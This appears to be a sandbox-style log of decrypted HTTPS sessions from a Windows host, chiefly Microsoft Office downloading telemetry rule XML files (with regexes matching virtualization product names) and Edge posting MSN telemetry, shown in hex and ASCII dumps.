Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d9045f06-101e-00a2-02d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968l4kp6hC1EWRe88400000005eg00000000xdq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 4e338e66-401e-0016-6fd5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968glpgnhC1EWR7uec00000005g000000000b8fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4e338eb5-401e-0016-3ad5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968j6t2phC1EWRcfe800000005cg00000000rwns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 65802b10-501e-000a-61d5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968xlwnmhC1EWR0sv8000000054g00000000g44a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:26 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 6193c1ec-701e-000d-35d5-336de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185226Z-174f7845968psccphC1EWRuz9s00000005hg00000000fxmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49886	20.42.73.27	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731351145232&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5245 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-11 18:52:27 UTC	5245	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 38 3a 35 32 3a 32 35 2e 32 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 39 35 39 66 31 65 64 2d 37 38 31 37 2d 34 32 35 34 2d 62 65 65 64 2d 37 62 61 37 34 65 32 33 31 32 66 31 22 2c 22 65 70 6f 63 68 22 3a 22 31 33 32 32 30 37 33 31 39 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T18:52:25.231Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"0959f1ed-7817-4254-beed-7ba74e2312f1","epoch":"1322073198"},"app":{"locale
2024-11-11 18:52:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=24465658ff9e42bcb02472547232cc82&HASH=2446&LV=202411&V=4&LU=1731351147708; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:52:27 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2ca8f681728f4016ac935798bf3e53c9; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 19:22:27 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2476 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:52:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: feb35d59-101e-0079-01d5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968c2t8dhC1EWR8s20000000053g0000000082vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 45a856d6-001e-0017-5bd5-330c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968pf68xhC1EWRr4h800000005m000000000b8va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 87508ad6-a01e-0098-68d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968j6t2phC1EWRcfe800000005g000000000ayz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 30996da0-701e-006f-5cd5-33afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f78459685m244hC1EWRgp2c000000053000000000q0f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: aedf17c0-c01e-0046-3ad5-332db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185227Z-174f7845968nnm4mhC1EWR1rn400000005c00000000027hs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49889	20.42.73.27	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
